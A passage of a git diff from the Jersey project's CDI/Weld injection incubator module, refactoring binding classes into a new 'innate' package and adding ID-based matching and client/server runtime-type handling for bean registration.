+//            return "InitializableSupplierWrappingInstanceBinding(" +  wrapped.getSupplier() + ")";
+//        }
     }
 
 }
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/InstanceListBinding.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/InstanceListBinding.java
new file mode 100644
index 0000000..b65709c
--- /dev/null
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/InstanceListBinding.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.inject.weld.internal.inject;
+
+import org.glassfish.jersey.innate.inject.InternalBinding;
+import org.glassfish.jersey.innate.inject.InstanceBinding;
+import org.glassfish.jersey.internal.inject.ServiceHolder;
+import org.glassfish.jersey.internal.inject.ServiceHolderImpl;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.stream.Collectors;
+
+public class InstanceListBinding<T> extends MatchableBinding<List<T>, InitializableInstanceBinding<List<T>>>
+        implements Cloneable {
+
+    private final Class<T> serviceType;
+    private final List<InstanceBinding<T>> services = new ArrayList<>();
+
+    /**
+     * Creates a service as an instance.
+     *
+     * @param serviceType service's type.
+     */
+    public InstanceListBinding(Class<T> serviceType) {
+        this.serviceType = serviceType;
+    }
+
+    @Override
+    protected MatchLevel bestMatchLevel() {
+        return MatchLevel.NEVER;
+    }
+
+    @Override
+    public Matching<MatchableBinding> matching(InternalBinding other) {
+        return Matching.noneMatching();
+    }
+
+    public void init(InstanceBinding<?> service) {
+        services.add((InstanceBinding<T>) service);
+    }
+
+    public List<T> getServices() {
+        return services.stream().map(binding -> binding.getService()).collect(Collectors.toList());
+    }
+
+    public List<ServiceHolder<T>> getServiceHolders() {
+        return services.stream().map(binding ->
+                new ServiceHolderImpl<T>(binding.getService(), serviceType, binding.getContracts(),
+                        binding.getRank() == null ? 0 : binding.getRank()))
+                .collect(Collectors.toList());
+    }
+}
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/MatchableBinding.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/MatchableBinding.java
index e6cd0bd..ed205df 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/MatchableBinding.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/MatchableBinding.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,7 +16,9 @@
 
 package org.glassfish.jersey.inject.weld.internal.inject;
 
-import org.glassfish.jersey.internal.inject.Binding;
+import org.glassfish.jersey.innate.inject.InternalBinding;
+import org.glassfish.jersey.innate.inject.InstanceBinding;
+import org.glassfish.jersey.innate.inject.SupplierInstanceBinding;
 
 import java.lang.reflect.Type;
 import java.util.Set;
@@ -27,11 +29,22 @@
  * @param <T> Type of the bean described by this injection binding.
  * @param <D> Concrete injection binding implementation type.
  */
-public abstract class MatchableBinding<T, D extends MatchableBinding> extends Binding<T, D> {
+public abstract class MatchableBinding<T, D extends MatchableBinding> extends InternalBinding<T, D> {
 
+    protected static MatchingVisitor visitor = new MatchingVisitor();
     protected abstract MatchLevel bestMatchLevel();
 
-    protected Matching<D> matches(Binding<?, ?> other) {
+    /**
+     * Visitor version of matches
+     * @param other
+     * @return
+     */
+    public abstract Matching<MatchableBinding> matching(InternalBinding other);
+
+    protected Matching<D> matches(InternalBinding<?, ?> other) {
+        if (getId() != 0) {
+            return matchesById(other);
+        }
         final Matching<D> matching = matchesContracts(other);
         if (matching.matchLevel == MatchLevel.FULL_CONTRACT) {
             if (getImplementationType().equals(other.getImplementationType())) {
@@ -41,13 +54,21 @@
         return matching;
     }
 
+    protected Matching matchesById(InternalBinding<?, ?> other) {
+        if (getId() == other.getId()) {
+            return new Matching<>((D) this, MatchLevel.FULL_CONTRACT);
+        } else {
+            return Matching.noneMatching();
+        }
+    }
+
     /**
      * Return a Matching object that represents comparison between contracts of this binding and a given binding.
      * The result contains a reference to this binding.
      * @param other
      * @return
      */
-    public Matching<D> matchesContracts(Binding<?, ?> other) {
+    public Matching<D> matchesContracts(InternalBinding<?, ?> other) {
         boolean atLeastOneMatch = false;
         boolean allMatch = true;
         final Set<Type> firstContracts = getContracts();
@@ -113,6 +134,10 @@
         public D getBinding() {
             return binding;
         }
+
+        public Matching<D> clone() {
+            return new Matching<>(binding, matchLevel);
+        }
     }
 
     /**
@@ -123,7 +148,8 @@
         PARTIAL_CONTRACT(1),
         FULL_CONTRACT(2),
         IMPLEMENTATION(3),
-        SUPPLIER(4);
+        SUPPLIER(4),
+        NEVER(5);
 
         private final int level;
 
@@ -131,5 +157,21 @@
             this.level = level;
         }
     }
+
+    protected static class MatchingVisitor<D extends MatchableBinding<?, D>> {
+        public MatchableBinding.Matching<InitializableInstanceBinding<D>> matches(
+                InitializableInstanceBinding<D> binding, InternalBinding other) {
+            return binding.matches((InstanceBinding) other);
+        }
+
+        public MatchableBinding.Matching<InitializableSupplierInstanceBinding<D>> matches(
+                InitializableSupplierInstanceBinding<D> binding, InternalBinding other) {
+            return binding.matches((SupplierInstanceBinding<D>) other);
+        }
+
+        public Matching<MatchableBinding<?, D>> matches(MatchableBinding<?, D> binding, InternalBinding other) {
+            throw new IllegalStateException("Unexpected");
+        }
+    }
 }
 
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/injector/ContextInjectionResolverImpl.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/injector/ContextInjectionResolverImpl.java
index 4a9a3f3..559ea06 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/injector/ContextInjectionResolverImpl.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/injector/ContextInjectionResolverImpl.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -26,8 +26,8 @@
 import jakarta.ws.rs.core.Context;
 import jakarta.ws.rs.core.GenericType;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
-import org.glassfish.jersey.internal.inject.Bindings;
+import org.glassfish.jersey.innate.inject.InternalBinder;
+import org.glassfish.jersey.innate.inject.Bindings;
 import org.glassfish.jersey.internal.inject.ContextInjectionResolver;
 import org.glassfish.jersey.internal.inject.Injectee;
 import org.glassfish.jersey.internal.inject.InjecteeImpl;
@@ -101,7 +101,7 @@
     /**
      * Context injection resolver binder.
      */
-    public static final class Binder extends AbstractBinder {
+    public static final class Binder extends InternalBinder {
 
         private Supplier<BeanManager> beanManager;
 
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/injector/JerseyInjectionTarget.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/injector/JerseyInjectionTarget.java
index b64513b..be93ad6 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/injector/JerseyInjectionTarget.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/injector/JerseyInjectionTarget.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -32,6 +32,9 @@
 
 import org.glassfish.jersey.inject.weld.internal.bean.BeanHelper;
 import org.glassfish.jersey.inject.weld.internal.bean.JerseyBean;
+import org.glassfish.jersey.inject.weld.managed.CdiInjectionManagerFactory;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+import org.glassfish.jersey.internal.inject.InjectionManagerFactory;
 import org.glassfish.jersey.internal.inject.InjectionResolver;
 import org.glassfish.jersey.internal.util.collection.LazyValue;
 import org.glassfish.jersey.internal.util.collection.Value;
@@ -62,7 +65,7 @@
  * instances. {@code Delegate} is a original {@code InjectionTarget} which is able to inject other fields/parameters which
  * are managed by CDI.
  * <p>
- * Implementation is also able create with custom {@code jerseyConstructor} if it is provided. This functionality allows override
+ * Implementation is also able to create with custom {@code jerseyConstructor} if it is provided. This functionality allows override
  * default instantiator and use the Jersey-specific one.
  */
 public class JerseyInjectionTarget<T> extends BasicInjectionTarget<T> {
@@ -303,6 +306,10 @@
                 ctx.push(instance);
             }
         }
+        if (CdiInjectionManagerFactory.SUPPORT_CONTEXT) {
+            InjectionManager injectionManager = CdiInjectionManagerFactory.getInjectionManager(ctx);
+            injectionManager.inject(instance, "CONTEXT");
+        }
         return instance;
     }
 
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/injector/JerseyTwofoldInstantiator.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/injector/JerseyTwofoldInstantiator.java
index 01e96c0..ee09f29 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/injector/JerseyTwofoldInstantiator.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/injector/JerseyTwofoldInstantiator.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -17,6 +17,7 @@
 package org.glassfish.jersey.inject.weld.internal.injector;
 
 import jakarta.enterprise.context.spi.CreationalContext;
+
 import org.jboss.weld.injection.ConstructorInjectionPoint;
 import org.jboss.weld.injection.producer.AbstractInstantiator;
 import org.jboss.weld.manager.BeanManagerImpl;
@@ -59,10 +60,10 @@
     @Override
     public T newInstance(CreationalContext<T> ctx, BeanManagerImpl manager) {
         final ConstructorInjectionPoint<T> cip =
-                optionalConstructorInjectionPoint == null || !JerseyClientCreationalContext.class.isInstance(ctx)
+                !hasOptionalConstructorInjectionPoint() || !JerseyClientCreationalContext.class.isInstance(ctx)
                 ? primaryInstantiator.getConstructorInjectionPoint()
                 : optionalConstructorInjectionPoint;
-        return cip.newInstance(manager, ctx);
+            return cip.newInstance(manager, ctx);
     }
 
     /**
@@ -72,4 +73,8 @@
     public void setOptionalConstructorInjectionPoint(ConstructorInjectionPoint<T> optionalConstructorInjectionPoint) {
         this.optionalConstructorInjectionPoint = optionalConstructorInjectionPoint;
     }
+
+    public boolean hasOptionalConstructorInjectionPoint() {
+        return optionalConstructorInjectionPoint != null;
+    }
 }
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/BinderRegisterExtension.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/BinderRegisterExtension.java
index 8917bb0..a8692e4 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/BinderRegisterExtension.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/BinderRegisterExtension.java
@@ -20,6 +20,7 @@
 import java.lang.reflect.Constructor;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Type;
+import java.util.ArrayList;
 import java.util.Collection;
 import java.util.Collections;
 import java.util.HashMap;
@@ -29,6 +30,7 @@
 import java.util.List;
 import java.util.Map;
 import java.util.Set;
+import java.util.TreeMap;
 import java.util.concurrent.atomic.AtomicBoolean;
 import java.util.function.Supplier;
 import java.util.stream.Collectors;
@@ -70,24 +72,25 @@
 import org.glassfish.jersey.inject.weld.internal.injector.ContextInjectionResolverImpl;
 import org.glassfish.jersey.inject.weld.internal.injector.JerseyInjectionTarget;
 import org.glassfish.jersey.inject.weld.internal.scope.CdiRequestScope;
-import org.glassfish.jersey.inject.weld.spi.BootstrapPreinitialization;
-import org.glassfish.jersey.internal.BootstrapBag;
-import org.glassfish.jersey.internal.ServiceFinder;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.BootstrapPreinitialization;
+import org.glassfish.jersey.innate.inject.InternalBinder;
+import org.glassfish.jersey.innate.inject.InternalBinding;
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.ClassBinding;
+import org.glassfish.jersey.innate.inject.InjectionResolverBinding;
+import org.glassfish.jersey.innate.inject.InstanceBinding;
+import org.glassfish.jersey.innate.inject.SupplierClassBinding;
+import org.glassfish.jersey.innate.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.inject.Binder;
 import org.glassfish.jersey.internal.inject.Binding;
-import org.glassfish.jersey.internal.inject.Bindings;
-import org.glassfish.jersey.internal.inject.ClassBinding;
 import org.glassfish.jersey.internal.inject.CustomAnnotationLiteral;
 import org.glassfish.jersey.internal.inject.ForeignDescriptor;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.InjectionResolver;
-import org.glassfish.jersey.internal.inject.InjectionResolverBinding;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
 import org.glassfish.jersey.internal.inject.Providers;
 import org.glassfish.jersey.internal.inject.ServiceHolder;
-import org.glassfish.jersey.internal.inject.SupplierClassBinding;
-import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
+import org.glassfish.jersey.internal.BootstrapBag;
+import org.glassfish.jersey.internal.ServiceFinder;
 
 import org.glassfish.jersey.internal.util.collection.Ref;
 import org.glassfish.jersey.internal.util.collection.Refs;
@@ -104,24 +107,35 @@
  */
 class BinderRegisterExtension implements Extension {
 
-    private AtomicBoolean registrationDone = new AtomicBoolean(false);
+    private final AtomicBoolean registrationDone = new AtomicBoolean(false);
     private Supplier<BeanManager> beanManagerSupplier;
-    private Ref<InjectionManager> serverInjectionManager = Refs.emptyRef();
+    private final Ref<InjectionManager> serverInjectionManager = Refs.emptyRef();
 
-    private BootstrapInjectionManager clientBootstrapInjectionManager = new BootstrapInjectionManager(RuntimeType.CLIENT);
-    private WrappingInjectionManager serverBootstrapInjectionManager = new WrappingInjectionManager()
+    private final BootstrapInjectionManager clientBootstrapInjectionManager = new BootstrapInjectionManager(RuntimeType.CLIENT);
+    private final WrappingInjectionManager serverBootstrapInjectionManager = new WrappingInjectionManager()
             .setInjectionManager(new BootstrapInjectionManager(RuntimeType.SERVER));
-    private BootstrapBag bootstrapBag = new BootstrapBag();
+    private final BootstrapBag bootstrapBag = new BootstrapBag();
 
-    private final CachingBinder clientBindings = new CachingBinder(serverInjectionManager);
-    private final CachingBinder serverBindings = new CachingBinder(serverInjectionManager) {
+    private final List<InitializableInstanceBinding> skippedClientInstanceBindings = new ArrayList<>();
+    private final List<InitializableSupplierInstanceBinding> skippedClientSupplierInstanceBindings = new ArrayList<>();
+
+    private final CachingBinder clientBindings = new CachingBinder(serverInjectionManager, RuntimeType.CLIENT) {
+//        @Override
+//        protected void configure() {
+//            bind(InitializableInstanceBinding.from(
+//            Bindings.service(clientBootstrapInjectionManager).to(InjectionManager.class)));
+//        }
+    };
+    private final CachingBinder serverBindings = new CachingBinder(serverInjectionManager, RuntimeType.SERVER) {
         @Override
         protected void configure() {
             install(new ContextInjectionResolverImpl.Binder(beanManagerSupplier));
-            bind(InitializableInstanceBinding.from(Bindings.service(serverInjectionManager.get()).to(InjectionManager.class)));
+            bind(InitializableInstanceBinding.from(
+                    Bindings.service(serverInjectionManager.get()).to(InjectionManager.class),
+                    RuntimeType.SERVER));
         }
     };
-    private final CachingBinder annotatedBeansBinder = new CachingBinder(serverInjectionManager);
+    private final CachingBinder annotatedBeansBinder = new CachingBinder(serverInjectionManager, null);
     private final MergedBindings mergedBindings = new MergedBindings(serverBindings, clientBindings);
 
     private final List<InitializableInstanceBinding> initializableInstanceBindings = new LinkedList<>();
@@ -274,15 +288,15 @@
      *
      * @param abd         {@code AfterBeanDiscovery} event.
      * @param beanManager current {@code BeanManager}.
-     * @link ProcessAnnotatedType} bootstrap phase.
+     * @see ProcessAnnotatedType bootstrap phase.
      */
     void registerBeans(@Observes AfterBeanDiscovery abd, BeanManager beanManager) {
-        serverInjectionManager.set(new CdiInjectionManager(beanManager, mergedBindings));
+        serverInjectionManager.set(new CdiInjectionManager(beanManager, mergedBindings, RuntimeType.SERVER));
 
         beanManagerSupplier = () -> beanManager; // set bean manager supplier to be called by bindings#configure
         CdiInjectionManagerFactoryBase.setBeanManager(beanManager);
 
-        registerApplicationHandler(beanManager);
+//        registerApplicationHandler(beanManager);
 
         registrationDone.set(true); //
 
@@ -313,19 +327,35 @@
 
     private void registerBeans(RuntimeType runtimeType, CachingBinder binder, AfterBeanDiscovery abd,
                                BeanManager beanManager) {
-        final Collection<Binding> bindings = binder.getBindings();
+        final Collection<InternalBinding> bindings = (Collection<InternalBinding>) (Collection) binder.getBindings();
         binder.setReadOnly();
 
+        //check unique id;
+        TreeMap<Long, InternalBinding> treeMap = new TreeMap<>();
+        for (InternalBinding binding : bindings) {
+            if (binding.getId() != 0 && !binding.isForClient()) {
+                if (treeMap.containsKey(binding.getId())) {
+                    throw new IllegalStateException("Id " + binding.getId() + " already exists:" + treeMap.get(binding.getId()));
+                }
+                treeMap.put(binding.getId(), binding);
+            }
+        }
+
         allBindingsLabel:
-        for (Binding binding : bindings) {
+        for (InternalBinding binding : bindings) {
             if (ClassBinding.class.isAssignableFrom(binding.getClass())) {
                 if (RuntimeType.CLIENT == runtimeType) {
                     for (Type contract : ((ClassBinding<?>) binding).getContracts()) {
-                        final List<BindingBeanPair> preregistered = classBindings.get(contract);
-                        if (preregistered != null && preregistered.size() == 1) {
-                            BeanHelper.updateBean(
-                                    (ClassBinding<?>) binding, preregistered.get(0), injectionResolvers, beanManager);
-                            continue allBindingsLabel;
+                        List<BindingBeanPair> preregistered = classBindings.get(contract);
+                        if (preregistered != null) {
+                            preregistered = preregistered.stream()
+                                    .filter(pair -> pair.getBeans().get(0).getRutimeType() == RuntimeType.SERVER)
+                                    .collect(Collectors.toList());
+                            if (preregistered.size() == 1 || binding.isForClient()) {
+                                BeanHelper.updateBean(
+                                        (ClassBinding<?>) binding, preregistered.get(0), injectionResolvers, beanManager);
+                                continue allBindingsLabel;
+                            }
                         }
                     }
                 }
@@ -337,11 +367,16 @@
             } else if (SupplierClassBinding.class.isAssignableFrom(binding.getClass())) {
                 if (RuntimeType.CLIENT == runtimeType) {
                     for (Type contract : ((SupplierClassBinding<?>) binding).getContracts()) {
-                        final List<BindingBeanPair> preregistered = supplierClassBindings.get(contract);
-                        if (preregistered != null && preregistered.size() == 1) {
-                            BeanHelper.updateSupplierBean(
-                                    (SupplierClassBinding<?>) binding, preregistered.get(0), injectionResolvers, beanManager);
-                            continue allBindingsLabel;
+                        List<BindingBeanPair> preregistered = supplierClassBindings.get(contract);
+                        if (preregistered != null) {
+                            preregistered = preregistered.stream()
+                                    .filter(pair -> pair.getBeans().get(0).getRutimeType() == RuntimeType.SERVER)
+                                    .collect(Collectors.toList());
+                            if (preregistered.size() == 1 || binding.isForClient()) {
+                                BeanHelper.updateSupplierBean(
+                                        (SupplierClassBinding<?>) binding, preregistered.get(0), injectionResolvers, beanManager);
+                                continue allBindingsLabel;
+                            }
                         }
                     }
                 }
@@ -353,17 +388,29 @@
                     }
                 }
             } else if (InitializableInstanceBinding.class.isAssignableFrom(binding.getClass())) {
-                if (RuntimeType.SERVER == runtimeType
+/*
+ * We do want to register beans such as Configuration just once. There are two of them, one for client and for a server.
+ * But having two of them would fail Weld Validation -> Weld would not know which one to @Inject
+ * The solution is to have JerseyTwoFoldInstantiator that creates a client bean for a client and a server bean for the server.
+ *
+ * But also we do not want to skip registering beans on client that are not in server
+ * or there are multiple of them of the same contract.
+ */
+                if (RuntimeType.SERVER == runtimeType || !binding.isForClient()
                         || !matchInitializableInstanceBinding((InitializableInstanceBinding<?>) binding)) {
                     initializableInstanceBindings.add((InitializableInstanceBinding<?>) binding);
                     BeanHelper.registerBean(
                             runtimeType, (InitializableInstanceBinding<?>) binding, abd, injectionResolvers, beanManager);
+                } else {
+                    skippedClientInstanceBindings.add((InitializableInstanceBinding) binding);
                 }
             } else if (InitializableSupplierInstanceBinding.class.isInstance(binding)) {
-                if (RuntimeType.SERVER == runtimeType
+                if (RuntimeType.SERVER == runtimeType || !binding.isForClient()
                         || !matchInitializableSupplierInstanceBinding((InitializableSupplierInstanceBinding) binding)) {
                     initializableSupplierInstanceBindings.add((InitializableSupplierInstanceBinding) binding);
                     BeanHelper.registerSupplier(runtimeType, (InitializableSupplierInstanceBinding<?>) binding, abd, beanManager);
+                } else {
+                    skippedClientSupplierInstanceBindings.add((InitializableSupplierInstanceBinding) binding);
                 }
             }
         }
@@ -459,12 +506,12 @@
 //        }
 //    }
 
-    private static <T> ClassBinding<T> bind(Class<T> clazz, AbstractBinder binder) {
+    private static <T> ClassBinding<T> bind(Class<T> clazz, InternalBinder binder) {
         final ClassBinding<T> binding = binder.bindAsContract(clazz);
         return toSuper(clazz, binding);
     }
 
-    private static <T extends Binding> T toSuper(Class<?> clazz, T binding) {
+    private static <T extends InternalBinding> T toSuper(Class<?> clazz, T binding) {
         Class<?> superClass = clazz;
         while (superClass != null) {
             superClass = superClass.getSuperclass();
@@ -478,15 +525,6 @@
         return binding;
     }
 
-//    // Check first if a class is a JAX-RS resource, and only if so check with validation.
-//    // This prevents unnecessary warnings being logged for pure CDI beans.
-//    private final Cache<Class<?>, Boolean> jaxRsResourceCache = new Cache<>(
-//            clazz -> Resource.from(clazz, true) != null && Resource.from(clazz) != null);
-//
-//    public boolean isJaxRsResource(Class<?> resource) {
-//        return jaxRsResourceCache.apply(resource);
-//    }
-
     private boolean isJaxrs(Class<?> clazz) {
         return Providers.isJaxRsProvider(clazz) || BeanHelper.isResourceClass(clazz) || isJerseyRegistrable(clazz);
     }
@@ -527,21 +565,21 @@
 
 
     /** To be used by the tests only */
-    public void register(BeforeBeanDiscovery beforeBeanDiscovery, Binding binding) {
+    void register(BeforeBeanDiscovery beforeBeanDiscovery, Binding binding) {
         register(RuntimeType.SERVER, binding);
     }
 
     /** To be used by the tests only */
-    public void register(BeforeBeanDiscovery beforeBeanDiscovery, Iterable<Binding> bindings) {
+    void register(BeforeBeanDiscovery beforeBeanDiscovery, Iterable<Binding> bindings) {
         register(RuntimeType.SERVER, bindings);
     }
 
     private void register(RuntimeType runtimeType, Binding binding) {
-        final AbstractBinder bindings = runtimeType == RuntimeType.CLIENT ? clientBindings : serverBindings;
+        final InternalBinder bindings = runtimeType == RuntimeType.CLIENT ? clientBindings : serverBindings;
         if (InstanceBinding.class.isInstance(binding)) {
-            bindings.bind(InitializableInstanceBinding.from((InstanceBinding) binding));
+            bindings.bind(InitializableInstanceBinding.from((InstanceBinding) binding, runtimeType));
         } else if (SupplierInstanceBinding.class.isInstance(binding)) {
-            bindings.bind(InitializableSupplierInstanceBinding.from((SupplierInstanceBinding) binding));
+            bindings.bind(InitializableSupplierInstanceBinding.from((SupplierInstanceBinding) binding, runtimeType));
         } else {
             bindings.bind(binding);
         }
@@ -558,12 +596,13 @@
         for (BootstrapPreinitialization registrar : ServiceFinder.find(BootstrapPreinitialization.class)) {
             registrars.add(registrar);
         }
-        for (BootstrapPreinitialization registrar : registrars) {
-            registrar.register(RuntimeType.SERVER, serverBindings);
+
+        for (BootstrapPreinitialization registrar : ServiceFinder.find(BootstrapPreinitialization.class)) {
+            registrar.preregister(RuntimeType.SERVER, serverBootstrapInjectionManager);
         }
 
-        for (BootstrapPreinitialization registrar : registrars) {
-            registrar.register(RuntimeType.CLIENT, clientBindings);
+        for (BootstrapPreinitialization registrar : ServiceFinder.find(BootstrapPreinitialization.class)) {
+            registrar.preregister(RuntimeType.CLIENT, clientBootstrapInjectionManager);
         }
     }
 
@@ -633,9 +672,6 @@
 
         @Override
         public <T> T createAndInitialize(Class<T> createMe) {
-            if (RequestScope.class == createMe) {
-                return (T) new CdiRequestScope();
-            }
             if (isNotJerseyInternal(createMe)) {
                 return null;
             }
@@ -669,7 +705,10 @@
 
         @Override
         public <T> T getInstance(Class<T> contractOrImpl) {
-            return createAndInitialize(contractOrImpl);
+            if (RequestScope.class == contractOrImpl) {
+                return (T) new CdiRequestScope();
+            }
+            return null; //createAndInitialize(contractOrImpl);
         }
 
         @Override
@@ -707,6 +746,11 @@
         public void preDestroy(Object preDestroyMe) {
             //noop
         }
+
+        @Override
+        public RuntimeType getRuntimeType() {
+            return runtimeType;
+        }
     }
 
     /**
@@ -714,13 +758,15 @@
      * Each additional binding is added to the cache by the next call of {@link #getBindings()}.
      * When {@link #setReadOnly()} is called, no additional binding is added to the cache.
      */
-    private class CachingBinder extends AbstractBinder {
+    private class CachingBinder extends InternalBinder {
         private final Ref<InjectionManager> injectionManager;
-        private AbstractBinder temporaryBinder = new TemporaryBinder();
+        private InternalBinder temporaryBinder = new TemporaryBinder();
         private final Collection<Binding> bindings = new LinkedList<>();
+        private final RuntimeType runtimeType;
 
-        private CachingBinder(Ref<InjectionManager> injectionManager) {
+        private CachingBinder(Ref<InjectionManager> injectionManager, RuntimeType runtimeType) {
             this.injectionManager = injectionManager;
+            this.runtimeType = runtimeType;
         }
 
         @Override
@@ -788,9 +834,9 @@
                 final Collection<Binding> newBindings = temporaryBinder.getBindings();
                 for (Binding binding : newBindings) {
                     if (InstanceBinding.class.isAssignableFrom(binding.getClass())) {
-                        binding = InitializableInstanceBinding.from((InstanceBinding) binding);
+                        binding = InitializableInstanceBinding.from((InstanceBinding) binding, runtimeType);
                     } else if (SupplierInstanceBinding.class.isAssignableFrom(binding.getClass())) {
-                        binding = InitializableSupplierInstanceBinding.from((SupplierInstanceBinding) binding);
+                        binding = InitializableSupplierInstanceBinding.from((SupplierInstanceBinding) binding, runtimeType);
                     }
                     bindings.add(binding);
                 }
@@ -805,7 +851,7 @@
             readOnly = true;
         }
 
-        private class TemporaryBinder extends AbstractBinder {
+        private class TemporaryBinder extends InternalBinder {
 
             @Override
             protected void configure() {
@@ -814,16 +860,55 @@
         }
     }
 
-    private static class MergedBindings implements Binder {
-        private final AbstractBinder first;
-        private final AbstractBinder second;
+    /* package */ static class MergedBindings implements Binder {
+        private final InternalBinder first;
+        private final InternalBinder second;
+        private final Collection<ClassBinding> classBindings = new ArrayList<>();
+        private final Collection<InitializableInstanceBinding> instanceBindings = new ArrayList<>();
+        private final Collection<SupplierClassBinding> supplierClassBindings = new ArrayList<>();
+        private final Collection<InitializableSupplierInstanceBinding> supplierInstanceBindings = new ArrayList<>();
 
-
-        private MergedBindings(AbstractBinder first, AbstractBinder second) {
+        private MergedBindings(InternalBinder first, InternalBinder second) {
             this.first = first;
             this.second = second;
         }
 
+//        private void initBindings(Collection<Binding> bindings) {
+//            for (Binding binding : bindings) {
+//                if (InstanceBinding.class.isInstance(binding)) {
+//                    instanceBindings.add((InitializableInstanceBinding) binding);
+//                } else if (ClassBinding.class.isInstance(binding)) {
+//                    classBindings.add((ClassBinding) binding);
+//                } else if (SupplierInstanceBinding.class.isInstance(binding)) {
+//                    supplierInstanceBindings.add((InitializableSupplierInstanceBinding) binding);
+//                } else if (SupplierClassBinding.class.isInstance(binding)) {
+//                    supplierClassBindings.add((SupplierClassBinding) binding);
+//                }
+//            }
+//        }
+//
+//        public <T extends Binding<T,?>> Collection<T> getBindings(Class<T> clazz) {
+//            if (InstanceBinding.class.equals(clazz)) {
+//                return (Collection<T>) (Collection<? extends Binding>) instanceBindings;
+//            } else if (ClassBinding.class.equals(clazz)) {
+//                return (Collection<T>) (Collection<? extends Binding>) classBindings;
+//            } else if (SupplierInstanceBinding.class.isInstance(clazz)) {
+//                return (Collection<T>) (Collection<? extends Binding>) supplierInstanceBindings;
+//            } else if (SupplierClassBinding.class.equals(clazz)) {
+//                return (Collection<T>) (Collection<? extends Binding>) supplierClassBindings;
+//            }
+//            return Collections.emptyList();
+//        }
+
+        public Collection<? extends Binding> getServerBindings() {
+            return first.getBindings();
+        }
+
+        public Collection<? extends Binding> getClientBindings() {
+            return second.getBindings();
+        }
+
+        @Override
         public Collection<Binding> getBindings() {
             final Collection<Binding> firstBindings = first.getBindings();
             final Collection<Binding> secondBindings = second.getBindings();
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/CdiClientInjectionManager.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/CdiClientInjectionManager.java
index a1c500f..d8a1b11 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/CdiClientInjectionManager.java
